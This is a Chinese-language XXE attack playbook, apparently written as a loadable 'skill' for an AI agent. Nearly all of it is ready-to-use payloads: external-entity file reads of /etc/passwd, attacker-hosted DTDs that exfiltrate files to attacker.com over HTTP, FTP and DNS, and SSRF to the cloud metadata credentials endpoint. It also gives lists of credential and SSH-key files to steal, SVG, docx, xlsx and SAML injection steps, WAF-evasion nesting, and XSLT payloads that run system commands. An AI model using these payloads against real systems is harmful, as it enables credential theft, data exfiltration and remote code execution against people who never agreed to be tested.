| 名称 | xxe-xml-external-entity |
| 描述 | >- XXE 攻击手册。当 XML、SVG、OOXML、SOAP 或解析器驱动的导入可能解析外部实体、文件或内部网络资源时使用。 |
技能:XML 外部实体注入(XXE)— 专家攻击手册
AI 加载说明:专家级 XXE 技术。覆盖所有注入上下文(SOAP、REST JSON→XML 解析器、Office 文件、SVG)、OOB 外带(直接读取失败时至关重要)、盲 XXE 检测,以及 XXE 转 SSRF 链。基础模型常常遗漏 OOB 和非 XML 上下文中的 XXE。真实世界 CVE 链、Office docx XXE 分步操作、PHP expect:// RCE 和 Solr XXE+RCE,请加载配套 SCENARIOS.md。
0. 相关路由
还需加载:
- 上传不安全文件,当 XXE 可通过 SVG、OOXML、导入或预览流水线触达时
扩展场景
当需要以下内容时,也加载 SCENARIOS.md:
- Apache Solr XXE + RCE 链(CVE-2017-12629)— 通过 XXE 读取配置,然后使用 VelocityResponseWriter 实现 RCE
- Office docx XXE 分步操作 — 解压 → 将 DOCTYPE 注入
word/document.xml或[Content_Types].xml→ 重新打包 → 上传 - 基于 DOCTYPE 的盲 SSRF —
PUBLIC外部 DTD 引用触发 HTTP 回调,无需实体回显 - 通过 XXE 使用 PHP
expect://协议 — 安装 expect 扩展时直接执行命令 - 通过错误消息进行盲 XXE — 强制文件路径错误,在异常文本中泄露内容
- SOAP Web 服务中的 XXE — 将实体注入 SOAP Envelope/Body 元素
1. 经典 XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
如果 /etc/passwd 在响应中回显 → 确认文件读取。
2. 攻击面发现
直接 XML 输入
- SOAP 端点(
text/xml、application/soap+xml) - 接受
application/xml的 REST API - 文件上传:
.xlsx、.docx、.pptx(Office Open XML) - SVG 上传(SVG 就是 XML)
- RSS/Atom feed 解析器
- 带 XML 配置导入的 Web 服务
非显而易见的 XML 处理
将任意 JSON POST 的 Content-Type 请求头改为:
Content-Type: application/xml
然后将请求体重写为 XML — 许多后端使用双格式解析器或自动检测。
PDF 生成器
某些 HTML→PDF 工具(wkhtmltopdf、PrinceXML)会通过嵌入 URL 执行 SSRF,也会解析 HTML 中包含的 SVG/XML 外部实体。
3. OOB(带外)XXE — 关键
当直接实体回显失败时使用(服务器解析但不回显实体内容):
第 1 步:盲检测
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP_COLLABORATOR/">]>
<root>&xxe;</root>
DNS/HTTP 命中 Collaborator → 确认 XXE(即使没有返回文件内容)。
第 2 步:通过攻击者托管 DTD 进行 OOB 文件外带
攻击者服务器在 http://attacker.com/evil.dtd 托管恶意 DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
发送给目标的 Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfiltrate;</root>
文件内容出现在攻击者 HTTP 服务器请求日志中。
第 3 步:基于错误的 OOB(HTTP 被阻断时的替代方案)
使用故意错误在错误消息中泄露数据:
<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///NONEXISTENT/%file;'>">
%eval;
%error;
4. XXE 文件读取目标
Linux:
/etc/passwd
/etc/shadow (需要 root)
/etc/hosts
/proc/self/environ ← 环境变量(数据库凭据、API 密钥)
/proc/self/cmdline ← 进程命令行
/var/log/apache2/access.log ← 可能包含 URL 中的密码
/home/USER/.ssh/id_rsa ← SSH 私钥
/home/USER/.aws/credentials ← AWS 密钥
/home/USER/.bash_history
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config ← ASP.NET 连接字符串
C:\xampp\htdocs\wp-config.php ← WordPress 数据库凭据
C:\Users\Administrator\.ssh\id_rsa
5. SVG XXE(文件上传上下文)
当接受 SVG 上传并被提供/处理时:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="100">
<text font-size="16">&xxe;</text>
</svg>
上传为 .svg → GET /uploads/file.svg → 响应中出现文件内容。
6. Office 文件 XXE(docx/xlsx/pptx)
Office 文件是包含 XML 的 ZIP 归档。注入到 [Content_Types].xml 或 word/document.xml:
# 第 1 步:解压
unzip original.docx -d extracted/
# 第 2 步:编辑 word/document.xml — 添加恶意 DTD
# 在 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 之后添加:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# 然后在文档文本中使用 &xxe;
# 第 3 步:重新打包
cd extracted && zip -r ../malicious.docx .
7. SOAP 端点 XXE
SOAP 请求按定义会解析 XML。将外部实体注入 SOAP envelope:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<id>&xxe;</id>
</getUser>
</soap:Body>
</soap:Envelope>
8. XXE → SSRF 链
XXE 外部实体可以指向内部 HTTP 端点(与 SSRF 相同):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
这将 XXE 文件读取 + SSRF 合并为单个 payload。
9. XInclude 攻击
当服务器端处理 XInclude(从另一来源导入 XML),但无法控制 DOCTYPE 时:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
适用于:Apache Cocoon、Xerces-J、启用 XInclude 支持的 libxml2。
10. XXE 中的协议处理器
<!-- HTTP(SSRF) -->
<!ENTITY xxe SYSTEM "http://internal.company.com/admin/">
<!-- 文件读取 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- PHP wrapper(如果 PHP 使用 libxml2) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- 在响应中解码 base64 以获取文件内容 -->
<!-- FTP(外带 / 端口扫描) -->
<!ENTITY xxe SYSTEM "ftp://attacker.com:21/x">
<!-- Gopher(Redis、SMTP) -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/info%0d%0a">
11. 绕过防御
解析器阻止 DOCTYPE
尝试 XInclude(无需 DOCTYPE,见 §9)。
仅允许特定 XML schema
如果发生 schema 验证:在 schema 验证之后、实体处理之前注入注释或 CDATA。
响应编码问题(响应中出现二进制)
使用 PHP filter 进行 base64 编码:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
网络限制导致 OOB 不可用
使用仅 DNS 的 OOB,通过 SYSTEM "file://HASH.attacker.com" — 无需 HTTP,DNS 查询即可泄露数据。
12. 快速检测清单
□ 找到 XML 输入点(或 JSON→XML 转换)
□ 发送基础实体:<!ENTITY xxe "test"> → 在 body 中使用 &xxe; → "test" 是否回显?
□ 如果回显 → 文件读取:SYSTEM "file:///etc/passwd"
□ 如果不回显 → 通过 Collaborator URL 进行 OOB 测试
□ 如果 OOB 命中 → 设置攻击者 DTD 进行文件外带
□ 尝试带 XXE 的 SVG 上传
□ 在 JSON 端点上尝试 Content-Type: application/xml
□ 如果基于 DOCTYPE 失败,尝试 XInclude
13. 本地 DTD 注入(盲 XXE 放大)
当外部实体被阻止但服务器上存在本地 DTD 文件时:
技术
<!-- 覆盖本地 DTD 文件中定义的实体 -->
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
常见本地 DTD 路径
Linux
/usr/share/yelp/dtd/docbookx.dtd # GNOME Help
/usr/share/xml/fontconfig/fonts.dtd # Fontconfig
/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
/usr/share/struts/struts-config_1_0.dtd # Apache Struts
/usr/share/nmap/nmap.dtd # Nmap
/opt/zaproxy/xml/alert.dtd # OWASP ZAP
Windows
C:\Windows\System32\wbem\xml\cim20.dtd # WMI
C:\Windows\System32\wbem\xml\wmi20.dtd # WMI
C:\Program Files\IBM\WebSphere\*.dtd # WebSphere
C:\Program Files (x86)\Lotus\*.dtd # Lotus Notes
JAR 文件内(Java 应用)
jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd
jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd
file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd
为什么有效
- 外部连接被阻止(防火墙/WAF/出站过滤)
- 但
file://访问本地文件通常被允许 - 本地 DTD 受信任 → 实体覆盖注入攻击者控制的定义
- 错误消息或通过
file://的盲提取仍然有效
14. 其他 OOB 外带通道
基于 FTP 的外带(逐行)
FTP 协议逐行发送数据,当基于 HTTP 的 OOB 在换行处截断时,可用于多行文件外带:
<!-- attacker.com/ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%exfil;
%send;
在端口 2121 运行恶意 FTP 服务器(例如 xxeserv 或自定义 Python)— 文件每一行作为单独的 RETR 或 CWD 命令到达。
HTTP 参数外带
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?d=%file;'>">
%exfil;
%send;
Base64 编码可避免 HTTP URL 中的换行/特殊字符问题。在攻击者服务器上解码 d= 参数。
15. DTD 嵌套技巧 — 参数实体链
参数实体中的参数实体
用于绕过阻止实体值中直接实体引用的解析器:
<!DOCTYPE foo [
<!ENTITY % a "% b;">
<!ENTITY % b SYSTEM "http://attacker.com/chain.dtd">
%a;
]>
解析器将 %a; 展开为 %b; → 获取外部 DTD。某些 WAF 只检查实体定义的第一层。
三重嵌套用于过滤规避
<!-- attacker.com/stage1.dtd -->
<!ENTITY % s2 SYSTEM "http://attacker.com/stage2.dtd">
%s2;
<!-- attacker.com/stage2.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % s3 "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%s3;
%exfil;
发送给目标的 Payload 仅引用 stage1.dtd — 实际文件读取发生在两次 DTD 获取之后,从而规避浅层 WAF 检查。
16. 非显而易见格式中的 XXE
| 格式 | XML 位置 | 注入点 |
|---|---|---|
| SOAP Envelope | 整个 body 是 XML | 在 <soap:Envelope> 之前添加 DOCTYPE |
| SVG 图片 | SVG 是 XML | 在 SVG 头部添加 <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
| OOXML (.docx) | word/document.xml、[Content_Types].xml |
将 DOCTYPE + 实体注入任意 XML 成员 |
| OOXML (.xlsx) | xl/sharedStrings.xml、xl/worksheets/sheet1.xml |
在单元格值中使用实体引用 |
| RSS/Atom feed | feed body 是 XML | 如果包含用户内容,则注入 feed 项 |
| SAML 断言 | SAML XML 令牌 | 在 SAMLResponse 参数中注入 DOCTYPE(base64 解码后的 XML) |
| XMPP | 协议消息是 XML stanza | 在消息 body 或 JID 字段中使用实体 |
| GPX 文件 | GPS 轨迹数据为 XML | 通过接受 GPX 的文件上传端点 |
| XHTML | 严格 XHTML 是有效 XML | 在 XHTML 文档中注入 DOCTYPE |
SAML XXE
<!-- 对 SAMLResponse 进行 Base64 解码,注入 DOCTYPE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
重新编码为 base64,作为 SAMLResponse 参数提交。
17. 通过文件上传的 XXE
SVG 上传
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text x="10" y="50" font-size="14">&xxe;</text>
</svg>
上传为头像/图片 → 查看上传的 SVG → 文件内容作为文本渲染。
XLSX(Excel)上传
# 1. 创建最小 .xlsx,解压
unzip report.xlsx -d xlsx_tmp/
# 2. 注入到 xl/sharedStrings.xml
# 在 XML 声明后添加:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# 将某个 <t> 元素内容替换为 &xxe;
# 3. 重新打包
cd xlsx_tmp && zip -r ../malicious.xlsx .
或者注入到 [Content_Types].xml(大多数 OOXML 处理器首先解析)。
DOCX 上传
# 目标:word/document.xml
# 相同方法:解压 → 注入 DOCTYPE + 实体 → 重新打包
# 替代:如果存在自定义 XML 部件,注入到 customXml/item1.xml
处理流水线攻击
即使上传文件不直接渲染,服务器端解析器(Apache POI、python-docx、OpenXML SDK)也可能在导入期间处理实体,触发 OOB 外带。
18. 基于错误的 XXE
强制 XML 解析器生成包含文件内容的错误消息:
方法 1:引用不存在的文件
<!-- attacker.com/error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
解析器尝试打开 file:///nonexistent/<hostname_content> → 错误消息包含 hostname 值。
方法 2:XML schema 验证错误
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % err SYSTEM 'jar:file:///nonexistent!/%file;'>">
%eval;
%err;
]>
jar: 协议处理器会生成详细错误消息,其中包含展开后的实体值。
方法 3:整数溢出 / 类型错误
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'file:///%file;'>">
%int;
%trick;
解析器尝试打开包含目标文件内容的文件路径 → 错误消息泄露内容。
19. XSLT 注入与 XXE 的关联
XSLT 处理器解析 XML,并可与 XXE 链接:
XSLT 文件读取
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
XSLT RCE(依赖处理器)
<!-- Xalan-J(Java) -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj,'id')"/>
</xsl:template>
</xsl:stylesheet>
<!-- PHP(libxslt 且 registerPHPFunctions) -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
XXE → XSLT 链
如果目标接受带样式表引用的 XML 输入(<?xml-stylesheet?>),同时注入外部实体和恶意 XSLT,可从文件读取升级到 RCE。